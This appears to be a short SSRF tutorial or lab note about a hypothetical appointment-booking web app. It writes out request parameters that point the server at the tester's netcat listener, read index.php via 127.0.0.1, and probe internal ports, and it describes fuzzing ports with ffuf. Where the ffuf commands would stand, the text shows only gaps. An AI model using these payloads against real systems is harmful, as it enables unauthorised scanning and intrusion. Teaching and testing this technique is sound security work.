Confirm SSRF
Assume there is a web app with a functionality to schedule appointments.
When checking the data availability for appointment, following request is being used:
dateserver=http://dateserver.com/availability.php&date=2024-01-01
This means the web server is fetching the availability information from a separate system determined by the URL passed in the POST parameter.
We can confirm SSRF by pointing dateserver towards our netcat listener as such:
dateserver=http://my-ip:8000/ssrf&date=2024-01-01
We get a incoming connection:
We can check if SSRF is blind or not by trying to read index.php
:
dateserver=http://127.0.0.1/index.php&date=2024-01-01
If the above displays the content of index.php, we know that the SSRF is not blind.
Enumerate System
We can use SSRF to port scan on the system.
dateserver=http://127.0.0.1:80&date=2024-01-01
If the response to above request is something like Error
or Fail
, we can know that the port is probably closed.
We can automate this using ffuf
.
First, create a list of 10,000 ports:
Now use ffuf
to fuzz all open ports by filtering out responses containing error message we identified earlier:
Results shows port 3306 is open.